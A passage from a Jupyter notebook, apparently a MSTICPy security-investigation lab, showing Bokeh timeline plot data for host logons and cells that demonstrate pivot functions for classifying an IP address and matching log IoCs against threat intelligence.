"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\"],\"TimeGenerated\":{\"__ndarray__\":\"ADCQBQGOdkIAEKunAI52QgBA2qkAjnZCAHCCTACOdkIAcO5PAI52QgCwtRUAjnZCAIDUFQCOdkIAcJcfAI52QgAwzxMAjnZCAPDWEwCOdkIA0O0TAI52QgBQCBQAjnZCAFAOFACOdkIAcKIUAI52QgAQoxQAjnZCAECnFACOdkIA0JUVAI52QgCgoBUAjnZCANCgFQCOdkIAsKIVAI52QgDwohUAjnZCAFCjFQCOdkIAQKYVAI52QgBwphUAjnZCAODmDweOdkIAcPxVAI52QgAQjO6/jXZCAHC+ca+NdkIAsCVSkI12QgBAUhCWjXZCAPCBEJaNdkIAwAYUkI12QgAAER+QjXZCANCIJZCNdkIAkNYlkI12QgDABQxdjXZCAHCXCE6NdkIAEC/cTY12QgBQ1dxNjXZCAMDi7yONdkIAMDAcJI12QgBQd12hjnZCAKAiT6OOdkIA0P36o452QgBQbgWkjnZCAFD+EKSOdkIAEIQZoY52QgCQxy+fjnZCAABFMJ+OdkIAMEgyn452QgDAziyLjnZCALB5XaSOdkIAIBTTo452QgDwhYiljnZCAFAu0aOOdkIAkHx7jo52QgAgqMajjnZCAGCuxqOOdkIAMLnGo452QgCwxMajjnZCAADIxqOOdkIAgKzGo452QgCwrMajjnZCAIC2xqOOdkIA8OTGo452QgBw7MajjnZCAHDsxqOOdkIAUO7Go452QgDw7sajjnZCANDvxqOOdkIAcPDGo452QgBA8cajjnZCADD1xqOOdkIA0CyTjI52QgCQ+tSjjnZCAOBNyIeOdkIAkAmrh452QgDgCsejjnZCAPCWzqOOdkIAcFPSo452QgCw2ZuHjnZCAGCPt0WOdkIAEDG7Uo52QgDQCaBNjnZCAIAAnoeOdkIAgIE3O452QgDQsjs7jnZCALDLUzmOdkIAMLt2OI52QgCQS6I6jnZCAHBNojqOdkIA0PylOo52QgCQS6I6jnZCAHBNojqOdkIAEO72Oo52QgCQc2U6jnZCAGAqWjWOdkIAIN5oNY52QgAwinI1jnZCALCq/TaOdkIA4Bv2No52QgAQx1Q8jnZCACBjVTyOdkIAAJzIPI52QgCAqAU8jnZCAPCpBTyOdkIAYEA/NY52QgCwRV08jnZCAJATZDyOdkIA4F53No52QgCgRHw2jnZCAICE2jWOdkIAUDqEO452QgAwPIQ7jnZCANC39g+PdkIAwJTP/o52QgAQieb1jnZCAPAbBwSPdkIAMHWtBY92QgCwEM/0jnZCAAAUz/SOdkIAsNA29o52QgDw1dj1jnZCAGBiW/GOdkIAQDDq6452QgBQst3HjnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[126]},\"index\":[0,5,6,7,8,9,10,11,13,14,17,18,19,20,21,22,23,24,25,26,27,28,29,30,32,33,37,38,39,40,41,42,43,44,45,46,47,48,49,51,52,54,55,56,57,58,59,60,61,62,64,65,66,67,68,69,71,72,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,91,92,93,94,95,96,97,98,101,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,125,126,127,128,129,130,133,134,135,136,142,143,144,145,146,147,148,149,151,152,159,160,161,162,163],\"y_index\":[4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4]},\"selected\":{\"id\":\"2295\"},\"selection_policy\":{\"id\":\"2294\"}},\"id\":\"2136\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"2137\"}},\"id\":\"2225\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#8DD644\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2271\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2263\",\"type\":\"Scatter\"},{\"attributes\":{\"source\":{\"id\":\"2132\"}},\"id\":\"2238\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2161\",\"type\":\"SaveTool\"},{\"attributes\":{\"data\":{\"IpAddress\":[\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"::1\",\"::1\",\"-\",\"-\",\"-\",\"-\"],\"SubjectUserName\":[\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\"],\"TimeGenerated\":{\"__ndarray__\":\"ADDoEwCOdkIAMOgTAI52QgBQt8ajjnZCAFC3xqOOdkIAgKPcPI52QgCAo9w8jnZCAGCjbDaOdkIAYKNsNo52QgAATdg1jnZCAABN2DWOdkIA8KTO9I52QgDwpM70jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[12]},\"index\":[15,16,73,74,99,100,131,132,139,140,157,158],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"2289\"},\"selection_policy\":{\"id\":\"2288\"}},\"id\":\"2133\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"label\":{\"value\":\"4\"},\"renderers\":[{\"id\":\"2258\"}]},\"id\":\"2260\",\"type\":\"LegendItem\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"2227\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2322\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2321\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2318\",\"type\":\"DaysTicker\"},{\"attributes\":{\"source\":{\"id\":\"2137\"}},\"id\":\"2273\",\"type\":\"CDSView\"},{\"attributes\":{\"label\":{\"value\":\"0\"},\"renderers\":[{\"id\":\"2237\"}]},\"id\":\"2239\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"2178\",\"type\":\"LinearScale\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2158\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"label\":{\"value\":\"10\"},\"renderers\":[{\"id\":\"2272\"}]},\"id\":\"2274\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#8DD644\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2269\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2193\",\"type\":\"Circle\"},{\"attributes\":{\"fill_color\":{\"value\":\"#30678D\"},\"hatch_color\":{\"value\":\"#30678D\"},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2203\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"2136\"}},\"id\":\"2266\",\"type\":\"CDSView\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2312\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2315\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#443982\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2243\",\"type\":\"Scatter\"},{\"attributes\":{\"source\":{\"id\":\"2133\"}},\"id\":\"2201\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2320\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2133\"},\"glyph\":{\"id\":\"2197\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2199\"},\"nonselection_glyph\":{\"id\":\"2198\"},\"view\":{\"id\":\"2201\"}},\"id\":\"2200\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2314\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2137\"},\"glyph\":{\"id\":\"2269\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2271\"},\"nonselection_glyph\":{\"id\":\"2270\"},\"view\":{\"id\":\"2273\"}},\"id\":\"2272\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2316\",\"type\":\"DaysTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"2227\"},\"x_range\":{\"id\":\"2142\"},\"y_range\":null},\"id\":\"2226\",\"type\":\"RangeTool\"},{\"attributes\":{},\"id\":\"2289\",\"type\":\"Selection\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2319\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"below\":[{\"id\":\"2150\"}],\"center\":[{\"id\":\"2153\"},{\"id\":\"2157\"}],\"height\":300,\"left\":[{\"id\":\"2154\"},{\"id\":\"2275\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"2237\"},{\"id\":\"2244\"},{\"id\":\"2251\"},{\"id\":\"2258\"},{\"id\":\"2265\"},{\"id\":\"2272\"}],\"title\":{\"id\":\"2140\"},\"toolbar\":{\"id\":\"2164\"},\"width\":900,\"x_range\":{\"id\":\"2142\"},\"x_scale\":{\"id\":\"2146\"},\"y_range\":{\"id\":\"2144\"},\"y_scale\":{\"id\":\"2148\"}},\"id\":\"2139\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"end\":5.166666666666667,\"start\":-0.16666666666666666},\"id\":\"2144\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"hatch_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2191\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#443982\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2241\",\"type\":\"Scatter\"},{\"attributes\":{\"axis\":{\"id\":\"2150\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"2153\",\"type\":\"Grid\"},{\"attributes\":{\"click_policy\":\"hide\",\"coordinates\":null,\"group\":null,\"items\":[{\"id\":\"2274\"},{\"id\":\"2267\"},{\"id\":\"2260\"},{\"id\":\"2253\"},{\"id\":\"2246\"},{\"id\":\"2239\"}],\"label_text_font_size\":\"8pt\",\"location\":\"center\"},\"id\":\"2275\",\"type\":\"Legend\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2317\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"2323\",\"type\":\"YearsTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"2163\"}},\"id\":\"2159\",\"type\":\"BoxZoomTool\"}],\"root_ids\":[\"2276\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"6ad13cd6-2c78-454f-b3b5-7451964ef627\",\"root_ids\":[\"2276\"],\"roots\":{\"2276\":\"d5c89b98-23ae-4f89-bdff-d2831f6db77b\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "2276"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.models.layouts.Column\">Column</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'2276', <span id=\"2560\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">children&nbsp;=&nbsp;[Figure(id='2139', ...), Figure(id='2171', ...)],</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">rows&nbsp;=&nbsp;'auto',</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">spacing&nbsp;=&nbsp;0,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;None,</div></div><div class=\"2559\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto')</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"2560\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"2559\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Column(id='2276', ...)"
      ]
     },
     "execution_count": 29,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Load data\n",
    "tl_df = qry_prov.WindowsSecurity.list_host_logons()\n",
    "\n",
    "# Create timeline lab\n",
    "tl_df.mp_plot.timeline(\n",
    "    source_columns=[\"SubjectUserName\", \"IpAddress\"], group_by=\"LogonType\"\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Pivots in MSTICPy\n",
    "\n",
    "MSTICPy has a lot of functionality distributed across many classes and modules. However, there is no simple way to discover where these functions are and what types of data the function is relevant to.\n",
    "\n",
    "[Pivot functions](https://msticpy.readthedocs.io/en/latest/data_analysis/PivotFunctions.html) bring this functionality together grouped around Entities. Entities are representations of real-world objects found commonly in CyberSec investigations. Some examples are: IpAddress, Host, Account, URL.\n",
    "\n",
    "In the following cells we look at how pivot functions can be used to easily access MSTICPy functionality relevent to the indicator being investigated.\n",
    "\n",
    "<div class=\"alert alert-block alert-warning\">\n",
    "<b>Note:</b> When you initialize the Pivot provider you will get a configuration error warning. This is not a problem (we are not using this feature in this lab), we have included it to give you an example of the customized warnings in MSTICPy. These are designed to help users when running MSTICPy in notebooks, you can see that the error provides instructions and guidance to resolve issues (you don't have to resolve this one though!).\n",
    "</div>\n",
    "\n",
    "We first start by initalizing our Pivots:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 30,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "<msticpy.datamodel.pivot.Pivot at 0x14a31c461c0>"
      ]
     },
     "execution_count": 30,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "from msticpy.datamodel.pivot import Pivot\n",
    "Pivot(namespace=globals())"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Once loaded we can take a look at the avaliable Pivots.\n",
    "\n",
    "<div class=\"alert alert-block alert-info\">\n",
    "<b>Note:</b> The avaliable Pivots are based on the providers we have loaded so if you have additional providers loaded you will have more Pivots avaliable to you..</div>\n",
    "\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "fabb72212a844cfeaf779500754f2bd1",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(HBox(children=(VBox(children=(HTML(value='<b>Entities</b>'), Select(description='entity', layou…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Once loaded we can browse what pivots are avaliable in an interactive widget\n",
    "Pivot.browse()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "To begin to Pivot we first need to get an entity to Pivot on. For this lab we are going to use an IP address entity, and once extracted our first Pivot will be to see if what sort of IP address it is using the `ip_type` Pivot.\n",
    "\n",
    "In this example we are running the Pivot on a single indicator, however many Pivots also let you apply them to an entire dataframe (you will see this in the next Pivot example)."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ip</th>\n",
       "      <th>result</th>\n",
       "      <th>src_row_index</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>Private</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "         ip   result  src_row_index\n",
       "0  10.0.3.5  Private              0"
      ]
     },
     "execution_count": 32,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Get an IP Address to pivot on\n",
    "ip_df = qry_prov.Network.list_azure_network_flows_by_ip()\n",
    "ip = ip_df.iloc[0][\"VMIPAddress\"]\n",
    "# See what type of IP address what we are working with.\n",
    "entities.IpAddress.util.ip_type(ip_str=ip)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As well as individual Pivots you can chain them together to perform several actions on a dataset.<br>\n",
    "More information on [Pivots can be found in the MSTICPy documentation](https://msticpy.readthedocs.io/en/latest/data_analysis/PivotFunctions.html)\n",
    "\n",
    "In the cell below we are taking a dataframe containing command line data addresses and applying a chain of Pivots to them.<br>\n",
    "The chain in use does the following:<br>\n",
    "<ul>\n",
    "    <li>Extracts IoCs from the command lines in the data</li>\n",
    "    <li>Filters to only logs that contained IoCs</li>\n",
    "    <li>Further filters to where the IoCs were IP addresses</li>\n",
    "    <li>Looks up those IP address in threat intelligence</li>\n",
    "    <li>Filters to only those events where there was a match in threat intelligence</li>\n",
    "</ul>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 33,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>Computer</th>\n",
       "      <th>EventTime [UTC]</th>\n",
       "      <th>Facility</th>\n",
       "      <th>HostName</th>\n",
       "      <th>SeverityLevel</th>\n",
       "      <th>SyslogMessage</th>\n",
       "      <th>ProcessID</th>\n",
       "      <th>HostIP</th>\n",
       "      <th>ProcessName</th>\n",
       "      <th>MG</th>\n",
       "      <th>Type</th>\n",
       "      <th>_ResourceId</th>\n",
       "      <th>Source</th>\n",
       "      <th>AccountName</th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Observable</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>Input</th>\n",
       "      <th>Ioc</th>\n",
       "      <th>IocType</th>\n",
       "      <th>SafeIoc</th>\n",
       "      <th>QuerySubtype</th>\n",
       "      <th>Provider</th>\n",
       "      <th>Result</th>\n",
       "      <th>Severity</th>\n",
       "      <th>Details</th>\n",
       "      <th>RawResult</th>\n",
       "      <th>Reference</th>\n",
       "      <th>Status</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Linux</td>\n",
       "      <td>5/4/2021, 8:16:01.040 AM</td>\n",
       "      <td>SOC-FW-CEF</td>\n",
       "      <td>5/4/2021, 8:16:01.000 AM</td>\n",
       "      <td>authpriv</td>\n",
       "      <td>SOC-FW-CEF</td>\n",
       "      <td>info</td>\n",
       "      <td>pam_unix(cron:session): session closed for user root from 113.116.23.69</td>\n",
       "      <td>14458.0</td>\n",
       "      <td>10.0.1.7</td>\n",
       "      <td>CRON</td>\n",
       "      <td>00000000-0000-0000-0000-000000000002</td>\n",
       "      <td>Syslog</td>\n",
       "      <td>/subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...</td>\n",
       "      <td>user</td>\n",
       "      <td>user</td>\n",
       "      <td>ipv4</td>\n",
